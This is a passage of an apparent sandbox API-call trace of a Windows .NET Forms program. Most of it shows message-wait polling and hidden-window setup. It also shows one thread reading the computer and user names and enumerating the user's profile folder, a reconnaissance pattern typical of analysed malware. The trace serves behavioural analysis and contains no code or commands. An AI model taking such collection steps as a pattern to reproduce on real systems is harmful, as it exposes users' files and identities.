(nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0242.220] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0242.390] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0242.656] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0242.930] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0243.185] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0243.405] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0243.671] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0244.005] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0244.301] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0244.585] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0245.073] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0245.229] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0245.434] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0245.638] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0245.827] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0246.337] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0246.540] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0246.726] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0246.908] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0247.132] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0247.374] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0247.550] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0247.788] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0247.987] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0248.206] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0248.361] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0248.553] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0248.693] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0248.812] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0248.932] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0249.082] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0249.285] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0249.455] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0249.613] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0249.786] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0249.973] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0250.115] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0250.290] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0250.464] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0250.590] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0250.757] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0250.909] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0251.092] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0251.371] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0251.605] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0251.794] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0251.926] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0252.562] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0252.744] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0252.902] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0253.088] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0263.117] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0273.198] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0283.418] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0293.435] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) Thread: id = 299 os_tid = 0xdd8 [0177.929] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0177.929] RoInitialize () returned 0x1 [0177.929] RoUninitialize () returned 0x0 [0177.948] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc1e5 [0177.950] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc1e6 [0177.957] GetSystemMetrics (nIndex=75) returned 1 [0177.971] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0178.069] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x7ffa59240000 [0178.162] AdjustWindowRectEx (in: lpRect=0x1d1de100, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x1d1de100) returned 1 [0178.165] GetCurrentProcess () returned 0xffffffffffffffff [0178.165] GetCurrentThread () returned 0xfffffffffffffffe [0178.165] GetCurrentProcess () returned 0xffffffffffffffff [0178.165] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1d1ddf10, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1d1ddf10*=0xa74) returned 1 [0178.165] GetCurrentThreadId () returned 0xdd8 [0178.182] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ffa59240000 [0178.185] GetModuleHandleW (lpModuleName="user32.dll") returned 0x7ffa7abc0000 [0178.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x1d1ddb40, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcW", lpUsedDefaultChar=0x0) returned 14 [0178.186] GetProcAddress (hModule=0x7ffa7abc0000, lpProcName="DefWindowProcW") returned 0x7ffa7bf24a40 [0178.186] GetStockObject (i=5) returned 0x1900015 [0178.189] GetModuleHandleW (lpModuleName=0x0) returned 0x6b0000 [0178.190] CoTaskMemAlloc (cb=0x5a) returned 0x1d2e7ac0 [0178.190] RegisterClassW (lpWndClass=0x1d1ddb00) returned 0xc1e7 [0178.190] CoTaskMemFree (pv=0x1d2e7ac0) [0178.191] GetModuleHandleW (lpModuleName=0x0) returned 0x6b0000 [0178.191] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.392fc8e_r8_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffffffffffd, hMenu=0x0, hInstance=0x6b0000, lpParam=0x0) returned 0x302d4 [0178.287] SetWindowLongPtrW (hWnd=0x302d4, nIndex=-4, dwNewLong=0x7ffa7bf24a40) returned 0x1ace157c [0178.289] GetWindowLongPtrW (hWnd=0x302d4, nIndex=-4) returned 0x7ffa7bf24a40 [0178.292] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x1d1dcec8 | out: phkResult=0x1d1dcec8*=0xa70) returned 0x0 [0178.292] RegQueryValueExW (in: hKey=0xa70, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x1d1dcf18, lpData=0x0, lpcbData=0x1d1dcf10*=0x0 | out: lpType=0x1d1dcf18*=0x0, lpData=0x0, lpcbData=0x1d1dcf10*=0x0) returned 0x2 [0178.293] RegQueryValueExW (in: hKey=0xa70, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x1d1dcf18, lpData=0x0, lpcbData=0x1d1dcf10*=0x0 | out: lpType=0x1d1dcf18*=0x0, lpData=0x0, lpcbData=0x1d1dcf10*=0x0) returned 0x2 [0178.293] RegCloseKey (hKey=0xa70) returned 0x0 [0178.294] SetWindowLongPtrW (hWnd=0x302d4, nIndex=-4, dwNewLong=0x1ace166c) returned 0x7ffa7bf24a40 [0178.294] GetWindowLongPtrW (hWnd=0x302d4, nIndex=-4) returned 0x1ace166c [0178.294] GetWindowLongPtrW (hWnd=0x302d4, nIndex=-16) returned 0x6c10000 [0178.297] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc1e8 [0178.298] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x302d4, Msg=0x24, wParam=0x0, lParam=0x1d1dd520) returned 0x0 [0178.299] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc1e9 [0178.299] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x302d4, Msg=0x81, wParam=0x0, lParam=0x1d1dd490) returned 0x1 [0178.301] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x302d4, Msg=0x83, wParam=0x0, lParam=0x1d1dd540) returned 0x0 [0178.301] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x302d4, Msg=0x1, wParam=0x0, lParam=0x1d1dd490) returned 0x0 [0178.302] GetClientRect (in: hWnd=0x302d4, lpRect=0x1d1dcf20 | out: lpRect=0x1d1dcf20) returned 1 [0178.302] GetWindowRect (in: hWnd=0x302d4, lpRect=0x1d1dcf20 | out: lpRect=0x1d1dcf20) returned 1 [0178.305] GetParent (hWnd=0x302d4) returned 0x0 [0178.436] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ffa59240000 [0178.437] GetModuleHandleW (lpModuleName=0x0) returned 0x6b0000 [0178.437] CreateWindowExW (dwExStyle=0x50000, lpClassName="WindowsForms10.Window.8.app.0.392fc8e_r8_ad1", lpWindowName=0x0, dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=300, hWndParent=0x0, hMenu=0x0, hInstance=0x6b0000, lpParam=0x0) returned 0x50030 [0178.437] SetWindowLongPtrW (hWnd=0x50030, nIndex=-4, dwNewLong=0x7ffa7bf24a40) returned 0x1ace157c [0178.437] GetWindowLongPtrW (hWnd=0x50030, nIndex=-4) returned 0x7ffa7bf24a40 [0178.438] SetWindowLongPtrW (hWnd=0x50030, nIndex=-4, dwNewLong=0x1ace16bc) returned 0x7ffa7bf24a40 [0178.438] GetWindowLongPtrW (hWnd=0x50030, nIndex=-4) returned 0x1ace16bc [0178.438] GetWindowLongPtrW (hWnd=0x50030, nIndex=-16) returned 0x6cf0000 [0178.646] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x81, wParam=0x0, lParam=0x1d1dd560) returned 0x1 [0178.649] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x83, wParam=0x0, lParam=0x1d1dd610) returned 0x0 [0178.651] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x1, wParam=0x0, lParam=0x1d1dd560) returned 0x0 [0178.651] GetClientRect (in: hWnd=0x50030, lpRect=0x1d1dcf60 | out: lpRect=0x1d1dcf60) returned 1 [0178.651] GetWindowRect (in: hWnd=0x50030, lpRect=0x1d1dcf60 | out: lpRect=0x1d1dcf60) returned 1 [0178.653] GetStartupInfoW (in: lpStartupInfo=0x29d2fc0 | out: lpStartupInfo=0x29d2fc0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0178.654] GetParent (hWnd=0x50030) returned 0x0 [0178.654] SetWindowLongPtrW (hWnd=0x50030, nIndex=-8, dwNewLong=0x0) returned 0x0 [0178.669] GetSystemMetrics (nIndex=11) returned 32 [0178.669] GetSystemMetrics (nIndex=12) returned 32 [0178.670] GetDC (hWnd=0x0) returned 0xd0106f8 [0178.676] GetDeviceCaps (hdc=0xd0106f8, index=12) returned 32 [0178.676] GetDeviceCaps (hdc=0xd0106f8, index=14) returned 1 [0178.677] ReleaseDC (hWnd=0x0, hDC=0xd0106f8) returned 1 [0178.678] CreateIconFromResourceEx (presbits=0x29d5fc8, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x301f3 [0178.681] GetSystemMetrics (nIndex=49) returned 16 [0178.681] GetSystemMetrics (nIndex=50) returned 16 [0178.737] CreateIconFromResourceEx (presbits=0x2a1adc8, dwResSize=0x468, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x301fb [0178.742] SendMessageW (hWnd=0x50030, Msg=0x80, wParam=0x0, lParam=0x301fb) returned 0x0 [0178.742] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x80, wParam=0x0, lParam=0x301fb) returned 0x0 [0178.744] SendMessageW (hWnd=0x50030, Msg=0x80, wParam=0x1, lParam=0x301f3) returned 0x0 [0178.744] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x80, wParam=0x1, lParam=0x301f3) returned 0x0 [0178.744] GetSystemMenu (hWnd=0x50030, bRevert=0) returned 0x8023b [0178.746] GetWindowPlacement (in: hWnd=0x50030, lpwndpl=0x1d1ddee8 | out: lpwndpl=0x1d1ddee8) returned 1 [0178.746] EnableMenuItem (hMenu=0x8023b, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0178.747] EnableMenuItem (hMenu=0x8023b, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0178.747] EnableMenuItem (hMenu=0x8023b, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0178.747] EnableMenuItem (hMenu=0x8023b, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0178.747] EnableMenuItem (hMenu=0x8023b, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0178.748] GetClientRect (in: hWnd=0x50030, lpRect=0x1d1ddfb0 | out: lpRect=0x1d1ddfb0) returned 1 [0178.748] GetClientRect (in: hWnd=0x50030, lpRect=0x1d1ddee0 | out: lpRect=0x1d1ddee0) returned 1 [0178.748] GetWindowRect (in: hWnd=0x50030, lpRect=0x1d1ddee0 | out: lpRect=0x1d1ddee0) returned 1 [0178.749] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ffa59240000 [0178.749] GetWindowLongPtrW (hWnd=0x50030, nIndex=-16) returned 0x6cf0000 [0178.750] GetWindowTextLengthW (hWnd=0x50030) returned 0 [0178.750] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0178.750] GetSystemMetrics (nIndex=42) returned 0 [0178.751] GetWindowTextW (in: hWnd=0x50030, lpString=0x1d1ddcf0, nMaxCount=1 | out: lpString="") returned 0 [0178.751] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0xd, wParam=0x1, lParam=0x1d1ddcf0) returned 0x0 [0178.751] GetWindowTextLengthW (hWnd=0x50030) returned 0 [0178.751] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0178.751] GetSystemMetrics (nIndex=42) returned 0 [0178.752] GetWindowTextW (in: hWnd=0x50030, lpString=0x1d1ddcf0, nMaxCount=1 | out: lpString="") returned 0 [0178.752] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0xd, wParam=0x1, lParam=0x1d1ddcf0) returned 0x0 [0178.752] GetWindowLongPtrW (hWnd=0x50030, nIndex=-16) returned 0x6cf0000 [0178.752] GetWindowLongPtrW (hWnd=0x50030, nIndex=-20) returned 0x50100 [0178.752] SetWindowLongPtrW (hWnd=0x50030, nIndex=-16, dwNewLong=0x2cf0000) returned 0x6cf0000 [0178.752] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x1d1dddb0) returned 0x0 [0178.752] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x1d1dddb0) returned 0x0 [0178.754] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x301fb [0178.754] SetWindowLongPtrW (hWnd=0x50030, nIndex=-20, dwNewLong=0x50000) returned 0x50100 [0178.754] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x1d1dddb0) returned 0x0 [0178.755] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x1d1dddb0) returned 0x0 [0178.761] SetWindowPos (hWnd=0x50030, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0178.761] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x46, wParam=0x0, lParam=0x1d1dde10) returned 0x0 [0178.762] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x83, wParam=0x1, lParam=0x1d1ddde0) returned 0x0 [0178.764] GetWindowPlacement (in: hWnd=0x50030, lpwndpl=0x1d1dd968 | out: lpwndpl=0x1d1dd968) returned 1 [0178.765] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x47, wParam=0x0, lParam=0x1d1dde10) returned 0x0 [0178.765] GetClientRect (in: hWnd=0x50030, lpRect=0x1d1dd800 | out: lpRect=0x1d1dd800) returned 1 [0178.765] GetWindowRect (in: hWnd=0x50030, lpRect=0x1d1dd800 | out: lpRect=0x1d1dd800) returned 1 [0178.770] RedrawWindow (hWnd=0x50030, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0178.770] GetSystemMenu (hWnd=0x50030, bRevert=0) returned 0x8023b [0178.770] GetWindowPlacement (in: hWnd=0x50030, lpwndpl=0x1d1dde88 | out: lpwndpl=0x1d1dde88) returned 1 [0178.770] EnableMenuItem (hMenu=0x8023b, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0178.770] EnableMenuItem (hMenu=0x8023b, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0178.770] EnableMenuItem (hMenu=0x8023b, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0178.770] EnableMenuItem (hMenu=0x8023b, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0178.770] EnableMenuItem (hMenu=0x8023b, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0178.771] IsWindowVisible (hWnd=0x50030) returned 0 [0178.771] OleInitialize (pvReserved=0x0) returned 0x0 [0178.772] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x1d1de0d8 | out: lplpMessageFilter=0x1d1de0d8*=0x0) returned 0x0 [0178.773] PeekMessageW (in: lpMsg=0x1d1de070, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1d1de070) returned 1 [0178.773] IsWindowUnicode (hWnd=0x50030) returned 1 [0178.774] GetMessageW (in: lpMsg=0x1d1de070, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1d1de070) returned 1 [0178.778] TranslateMessage (lpMsg=0x1d1de070) returned 0 [0178.779] DispatchMessageW (lpMsg=0x1d1de070) returned 0x0 [0178.779] CallWindowProcW (lpPrevWndFunc=0x7ffa7bf24a40, hWnd=0x50030, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0178.779] PeekMessageW (in: lpMsg=0x1d1de070, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1d1de070) returned 0 [0178.779] PeekMessageW (in: lpMsg=0x1d1de070, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1d1de070) returned 0 [0178.780] WaitMessage () Thread: id = 302 os_tid = 0xdf4 Thread: id = 306 os_tid = 0xe38 [0184.623] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0184.624] CoGetContextToken (in: pToken=0x1e0dfad0 | out: pToken=0x1e0dfad0) returned 0x0 [0184.624] IUnknown:QueryInterface (in: This=0x4b00f0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e0dfb08 | out: ppvObject=0x1e0dfb08*=0x4b0108) returned 0x0 [0184.624] IComThreadingInfo:GetCurrentThreadType (in: This=0x4b0108, pThreadType=0x1e0dfb78 | out: pThreadType=0x1e0dfb78*=0) returned 0x0 [0184.624] IUnknown:Release (This=0x4b0108) returned 0x1 [0184.624] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0184.624] CoUninitialize () [0184.624] RoInitialize () returned 0x1 [0184.624] RoUninitialize () returned 0x0 [0186.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\\\.\\DISPLAY1", cchWideChar=12, lpMultiByteStr=0x1e0de430, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\\\.\\DISPLAY1", lpUsedDefaultChar=0x0) returned 12 [0186.525] EnumDisplaySettingsA (in: lpszDeviceName="\\\\.\\DISPLAY1", iModeNum=0xffffffff, lpDevMode=0x1e0de4c8 | out: lpDevMode=0x1e0de4c8) returned 1 [0186.738] GetComputerNameW (in: lpBuffer=0x1e0de380, nSize=0x1e0de6a8 | out: lpBuffer="XC64ZB", nSize=0x1e0de6a8) returned 1 [0186.865] GetUserNameW (in: lpBuffer=0x1e0de3a0, pcbBuffer=0x1e0de6c8 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x1e0de6c8) returned 1 [0209.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0def90) returned 1 [0209.027] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX", nBufferLength=0x105, lpBuffer=0x1e0dea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX", lpFilePart=0x0) returned 0x15 [0209.027] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\*"), lpFindFileData=0x1e0deca0 | out: lpFindFileData=0x1e0deca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.028] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.028] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, 